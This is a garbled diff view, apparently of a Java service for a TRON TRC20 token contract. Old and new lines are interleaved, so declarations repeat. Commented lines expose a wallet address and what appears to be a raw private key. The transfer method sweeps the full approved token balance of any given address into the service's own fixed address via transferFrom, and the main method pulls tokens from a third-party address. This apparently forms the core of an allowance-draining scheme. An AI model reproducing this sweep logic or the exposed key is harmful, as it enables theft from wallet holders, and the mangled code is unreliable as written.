| | |
| | | * @author |
| | | * @date 2022-03-21 |
| | | **/ |
| | | public class TrxService { |
| | | public class TrxService implements ContractChainService { |
| | | |
| | | // private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; |
| | | // private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7"; |
| | |
| | | contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper); |
| | | } |
| | | |
| | | @Override |
| | | public BigInteger allowance(String owner) { |
| | | return contract.allowance(owner, ADDRESS); |
| | | } |
| | | |
| | | public BigInteger balanceOf(String address) { |
| | | @Override |
| | | public BigInteger balanceOfUnDecimal(String address) { |
| | | return contract.balanceOf(address); |
| | | } |
| | | |
| | | public BigDecimal balanceOfDecimal(String address) { |
| | | BigInteger chainData = balanceOf(address); |
| | | @Override |
| | | public BigDecimal balanceOf(String address) { |
| | | BigInteger chainData = balanceOfUnDecimal(address); |
| | | |
| | | BigInteger decimals = contract.decimals(); |
| | | BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); |
| | |
| | | return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN); |
| | | } |
| | | |
| | | public void transfer(String address) { |
| | | BigInteger balance = balanceOf(address); |
| | | @Override |
| | | public String transfer(String address) { |
| | | BigInteger balance = balanceOfUnDecimal(address); |
| | | |
| | | contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); |
| | | return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); |
| | | } |
| | | |
| | | @Override |
| | | public String transfer(String address, BigDecimal amount) { |
| | | BigInteger decimals = contract.decimals(); |
| | | BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); |
| | |
| | | return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L); |
| | | } |
| | | |
| | | @Override |
| | | public int allowanceCnt(String address) { |
| | | return 0; |
| | | } |
| | | |
| | | public static void main(String[] args) { |
| | | System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));; |
| | | } |